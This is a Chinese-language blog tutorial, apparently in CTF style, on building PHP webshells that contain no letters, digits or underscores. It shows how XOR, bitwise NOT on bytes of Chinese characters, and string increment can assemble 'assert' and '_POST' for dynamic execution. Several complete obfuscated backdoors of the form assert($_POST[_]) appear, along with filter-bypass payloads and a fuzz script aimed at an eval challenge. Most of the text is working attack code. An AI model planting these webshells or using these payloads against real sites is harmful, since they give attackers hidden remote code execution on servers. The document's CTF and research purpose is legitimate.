膜拜下phithon师傅
一些不包含数字和字母的webshell
信安之路的微笑
php 不用字母,数字和下划线写 shell
先上测试代码
<?php echo "A"^"?"; ?>
代码对字符A
和?
进行了异或操作.PHP中异或时会将字符转化ASCII值在转成二进制,再进行异或.异或完反过来转化成字符
A
的ASCII值为65
,二进制则是01000001
?
的ASCII转值为65
,二进制是00111111
异或二进制结果结果为10000000
,对应的字符就是~
.
非数字字母的PHP后门:
<?php $__=("#"^"|"); // $__ = _ $__.=("."^"~"); // _P $__.=("/"^"`"); // _PO $__.=("|"^"/"); // _POS $__.=("{"^"/"); // _POST //.=是字符的连接 $__=("#"^"|").("."^"~").("/"^"`").("|"^"/").("{"^"/"); //上面代码为一句 ?>
利用的是UTF-8编码的某个汉字,并将其中某个字符取出来,
比如:和
的utf-8编码为\xe5\x92\x8c
,第三个字节和{2}
的值为\x8c
,其取反值为-141
,负数用十六进制表示,通常用的是补码的方式表示。负数的补码是它本身的值每位求反,最后再加一。141
的 16 进制为 0xff73
,php 中 chr(0xff73)==115
,115
就是 s
的 ASCII 值。因此
<?php highlight_file(__FILE__); $_="和"; echo (~($_{2})); echo (~"\x8c"); //等同与上一句 ?>
1
,则true+true=2
$_=('>'>'<')+('>'>'<') print($_)
null
,null=false=0
,所以利用自增操作得到数字<?php $_++; print($_); ?>
php文档
在处理字符变量的算数运算时,PHP 沿袭了 Perl 的习惯,而非 C 的。例如,在 Perl 中 $a = ‘Z’; $a++; 将把 $a 变成’AA’,而在 C 中,a = ‘Z’; a++; 将把 a 变成 ‘[’(‘Z’ 的 ASCII 值是 90,’[’ 的 ASCII 值是 91)。注意字符变量只能递增,不能递减,并且只支持纯字母(a-z 和 A-Z)。递增/递减其他字符变量则无效,原字符串没有变化。
也就是说,'a'++ => 'b'
,'b'++ => 'c'
… 所以,我们只要拿到一个变量值为a
,通过自增操作即可获得a-z中所有字符。
在PHP中如果强制连接数组和字符串的话,数组将被转换成字符串,其值为Array
,再取这个字符串的第一个字母,就可以获得A
了。
$_=[]; $_=@"$_"; // $_='Array'; $_=$_['!'=='@']; // $_=$_[0]; $___=$_; // A
**核心思路:**将非字母、数字的字符经过各种变换,最后能构造出a-z中任意一个字符。然后再利用PHP允许动态函数执行的特点,拼接处一个函数名,如
assert
,然后动态执行之即可。
不可打印字符,用 url 编码表示
<?php $_=('%01'^'`').('%13'^'`').('%13'^'`').('%05'^'`').('%12'^'`').('%14'^'`'); // $_='assert'; $__='_'.('%0D'^']').('%2F'^'`').('%0E'^']').('%09'^']'); // $__='_POST'; $___=$$__; $_($___[_]); // assert($_POST[_]);
可用更短的字符
"`{{{"^"?<>/"//_GET
<?php $__=('>'>'<')+('>'>'<');//$__2 $_=$__/$__;//$_1 $____=''; $___="瞰";$____.=~($___{$_});$___="和";$____.=~($___{$__});$___="和";$____.=~($___{$__});$___="的";$____.=~($___{$_});$___="半";$____.=~($___{$_});$___="始";$____.=~($___{$__});//$____=assert $_____='_';$___="俯";$_____.=~($___{$__});$___="瞰";$_____.=~($___{$__});$___="次";$_____.=~($___{$_});$___="站";$_____.=~($___{$_});//$_____=_POST $_=$$_____;//$_=$_POST $____($_[$__]);//assert($_POST[2])
简短写法,相当于直接把 utf8 编码的某个字节提取出来统一进行取反。
${~"\xa0\xb8\xba\xab"} //$_GET
因为 PHP 函数是大小写不敏感的,最终执行的是 ASSERT($POST[]),无需获取小写 a。
<?php $_=[]; $_=@"$_"; // $_='Array'; $_=$_['!'=='@']; // $_=$_[0]; $___=$_; // A $__=$_; $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; $___.=$__; // S $___.=$__; // S $__=$_; $__++;$__++;$__++;$__++; // E $___.=$__; $__=$_; $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // R $___.=$__; $__=$_; $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T $___.=$__; $____='_'; $__=$_; $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // P $____.=$__; $__=$_; $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // O $____.=$__; $__=$_; $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // S $____.=$__; $__=$_; $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T $____.=$__; $_=$$____; $___($_[_]); // ASSERT($_POST[_]);
<?php include'flag.php'; if(isset($_GET['code'])){ $code=$_GET['code']; if(strlen($code)>50){ die("Too Long."); } if(preg_match("/[A-Za-z0-9_]+/",$code)){ die("Not Allowed."); } @eval($code); }else{ highlight_file(__FILE__); } //$hint = "php function getFlag() to get flag"; ?>
来自红日安全
code=$_="`{{{"^"?<>/";${$_}[_](${$_}[__]);&_=getFlag
分解:
$_="{{{"^"?<>/";
=$_="GET";
${$_}[_](${$_}[__]);
=$_GET[_]($_GET[__]);
=getFlag($_GET[__])
=getFlag(null);
这个 payload
的长度是 37 ,符合题目要求的 小于等于40 。另fuzz
出了长度为 28 的 payload ,如下:
$_="{{{{{{{"^"%1c%1e%0f%3d%17%1a%1c";$_();
fuzz
脚本
<?php $a = str_split('getFlag'); for($i = 0; $i < 256; $i++){ $ch = '{'^ chr($i); if (in_array($ch, $a , true)) { echo "{ ^ chr(".$i.") = $ch<br>"; } } echo "{{{{{{{"^chr(28).chr(30).chr(15).chr(61).chr(23).chr(26).chr(28); ?>
<?php include 'flag.php'; if(isset($_GET['code'])){ $code=$_GET['code']; if(strlen($code)>50){ die("Too Long."); } if(preg_match("/[A-Za-z0-9_]+/",$code)){ die("Not Allowed."); } @eval($code); } else{ highlight_file(__FILE__); } highlight_file(__FILE); // $hint = "php function getFlag() to get flag"; ?>
只是多过滤了个下划线_
中文做变量名
$哼="{{{{{{{"^"%1c%1e%0f%3d%17%1a%1c";$哼();
+做变量名
${"`{{{"^"?<>/"}['+']();&+=getFlag